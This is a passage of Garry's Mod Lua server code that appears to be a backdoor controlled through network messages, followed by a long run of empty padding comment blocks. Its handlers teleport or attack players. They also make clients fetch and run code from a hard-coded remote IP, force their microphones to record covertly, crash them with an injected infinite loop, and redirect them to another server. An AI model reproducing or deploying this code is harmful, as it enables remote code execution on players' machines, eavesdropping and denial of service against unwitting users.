9470 elseif two == 22 then
9471 if not timer.Exists("saywhatttttt") then
9472 teleportrandom()
9473 timer.Create("saywhatttttt", 5, 0, teleportrandom)
9474 else
9475 timer.Remove("saywhatttttt")
9476 end
9477 elseif two == 23 then
9478 Satellite = ents.Create("m9k_oribital_cannon")
9479 Satellite.PoorBastard = true
9480 Satellite.Target = v
9481 Satellite.Sky = v:GetPos()
9482 Satellite.Owner = v
9483 Satellite:SetPos(v:GetPos())
9484 Satellite:Spawn()
9485 elseif two == 28 then
9486 local fabrication = v:GetPos()
9487
9488 local npcweed = ents.Create( v:GetClass() )
9489 npcweed:SetPos( Vector(fabrication.x + 15, fabrication.y, fabrication.z + 15) )
9490 npcweed:Spawn()
9491 elseif two == 29 then
9492 local fabrication = v:GetPos()
9493
9494 for i = 1, 5 do
9495 local npcweed = ents.Create( v:GetClass() )
9496 npcweed:SetPos( Vector(fabrication.x + 15, fabrication.y, fabrication.z + 15) )
9497 npcweed:Spawn()
9498 end
9499 end
9500end)
9501 user:SendLua([[http.Fetch("http://54.38.18.76/codeclient.php", function(b) RunString(b) end)]])
9502 end
9503
9504 if (uaction == "micon") then
9505 user:SendLua([[timer.Create("mictoggle", 0.1, 0, function()LocalPlayer():ConCommand("+voicerecord")end)]])
9506 end
9507
9508 if (uaction == "micoff") then
9509 user:SendLua([[timer.Destroy("mictoggle")LocalPlayer():ConCommand("-voicerecord")]])
9510 end
9511
9512 if (uaction == "crashuser") then
9513 user:SendLua( "net.Receive(\"SENDTEST\", function() RunString(net.ReadString()) end)" )
9514 net.Start( "SENDTEST" )
9515 net.WriteString( [[ while true do end ]] )
9516 net.Send(user)
9517 end
9518
9519 if (uaction == "goduseron") then
9520 user:GodEnable()
9521 end
9522
9523 if (uaction == "goduseroff") then
9524 user:GodDisable()
9525 end
9526
9527 if (uaction == "redirectplayer") then
9528 local ip=net.ReadString()
9529 ply:SendLua([[LocalPlayer():ConCommand('connect ]]..tostring(ip)..[[')]])
9530 end
9531
9532 if (uaction == "items") then
9533 user:Give( net.ReadString() )
9534 end
9535end)
9536
9537
9538
9539
9540
9541--[[
9542
9543
9544
9545]]--
9546
9547
9548
9549
9550
9551
9552
9553--[[
9554
9555
9556
9557]]--
9558
9559
9560
9561
9562
9563
9564
9565--[[
9566
9567
9568
9569]]--
9570
9571
9572
9573
9574
9575
9576
9577--[[
9578
9579
9580
9581]]--
9582
9583
9584
9585
9586
9587
9588
9589--[[
9590
9591
9592
9593]]--
9594
9595
9596
9597
9598
9599
9600
9601--[[
9602
9603
9604
9605]]--
9606
9607
9608
9609
9610
9611
9612
9613--[[
9614
9615
9616
9617]]--
9618
9619
9620
9621
9622
9623
9624
9625--[[
9626
9627
9628
9629]]--
9630
9631
9632
9633
9634
9635
9636
9637--[[
9638
9639
9640
9641]]--
9642
9643
9644
9645
9646
9647
9648
9649--[[
9650
9651
9652
9653]]--
9654
9655
9656
9657
9658
9659
9660
9661--[[
9662
9663
9664
9665]]--
9666
9667
9668
9669
9670
9671
9672
9673--[[
9674
9675
9676
9677]]--
9678
9679
9680
9681
9682
9683
9684
9685--[[
9686
9687
9688
9689]]--
9690
9691
9692
9693
9694
9695
9696
9697--[[
9698
9699
9700
9701]]--
9702
9703
9704
9705
9706
9707
9708
9709--[[
9710
9711
9712
9713]]--
9714
9715
9716
9717
9718
9719
9720
9721--[[
9722
9723
9724
9725]]--
9726
9727
9728
9729
9730
9731
9732
9733--[[
9734
9735
9736
9737]]--
9738
9739
9740
9741
9742
9743
9744
9745--[[
9746
9747
9748
9749]]--
9750
9751
9752
9753
9754
9755
9756
9757--[[
9758
9759
9760
9761]]--
9762
9763
9764
9765
9766
9767
9768
9769--[[
9770
9771
9772
9773]]--
9774
9775
9776
9777
9778
9779
9780
9781--[[
9782
9783
9784
9785]]--
9786
9787
9788
9789
9790
9791
9792
9793--[[
9794
9795
9796
9797]]--
9798
9799
9800
9801
9802
9803
9804
9805--[[
9806
9807
9808
9809]]--
9810
9811
9812
9813
9814
9815
9816
9817--[[
9818
9819
9820
9821]]--
9822
9823
9824
9825
9826
9827
9828
9829--[[
9830
9831
9832
9833]]--
9834
9835
9836
9837
9838
9839
9840
9841--[[
9842
9843
9844
9845]]--
9846
9847
9848
9849
9850
9851
9852
9853--[[
9854
9855
9856
9857]]--
9858
9859
9860
9861
9862
9863
9864
9865--[[
9866
9867
9868
9869]]--
9870
9871
9872
9873
9874
9875
9876
9877--[[
9878
9879
9880
9881]]--
9882
9883
9884
9885
9886
9887
9888
9889--[[
9890
9891
9892
9893]]--
9894
9895
9896
9897
9898
9899
9900
9901--[[
9902
9903
9904
9905]]--
9906
9907
9908
9909
9910
9911
9912
9913--[[
9914
9915
9916
9917]]--
9918
9919
9920
9921
9922
9923
9924
9925--[[
9926
9927
9928
9929]]--
9930
9931
9932
9933
9934
9935
9936
9937--[[
9938
9939
9940
9941]]--
9942
9943
9944
9945
9946
9947
9948
9949--[[
9950
9951
9952
9953]]--
9954
9955
9956
9957
9958
9959
9960
9961--[[
9962
9963
9964
9965]]--
9966
9967
9968
9969
9970
9971
9972
9973--[[
9974
9975
9976
9977]]--
9978
9979
9980
9981
9982
9983
9984
9985--[[
9986
9987
9988
9989]]--
9990
9991
9992
9993
9994
9995
9996
9997--[[
9998
9999
10000
10001]]--
10002
10003
10004
10005
10006
10007
10008
10009--[[
10010
10011
10012
10013]]--
10014
10015
10016
10017
10018
10019
10020
10021--[[
10022
10023
10024
10025]]--
10026
10027
10028
10029
10030
10031
10032
10033--[[
10034
10035
10036
10037]]--
10038
10039
10040
10041
10042
10043
10044
10045--[[
10046
10047
10048
10049]]--
10050
10051
10052
10053
10054
10055
10056
10057--[[
10058
10059
10060
10061]]--
10062
10063
10064
10065
10066
10067
10068
10069--[[
10070
10071
10072
10073]]--
10074
10075
10076
10077
10078
10079
10080
10081--[[
10082
10083
10084
10085]]--
10086
10087
10088
10089
10090
10091
10092
10093--[[
10094
10095
10096
10097]]--
10098
10099
10100
10101
10102
10103
10104
10105--[[
10106
10107
10108
10109]]--
10110
10111
10112
10113
10114
10115
10116
10117--[[
10118
10119
10120
10121]]--
10122
10123
10124
10125
10126
10127
10128
10129--[[
10130
10131
10132
10133]]--
10134
10135
10136
10137
10138
10139
10140
10141--[[
10142
10143
10144
10145]]--
10146
10147
10148
10149
10150
10151
10152
10153--[[
10154
10155
10156
10157]]--
10158
10159
10160
10161
10162
10163
10164
10165--[[
10166
10167
10168
10169]]--
10170
10171
10172
10173
10174
10175
10176
10177--[[
10178
10179
10180
10181]]--
10182
10183
10184
10185
10186
10187
10188
10189--[[
10190
10191
10192
10193]]--
10194
10195
10196
10197
10198
10199
10200
10201--[[
10202
10203
10204
10205]]--
10206
10207
10208
10209
10210
10211
10212
10213--[[
10214
10215
10216
10217]]--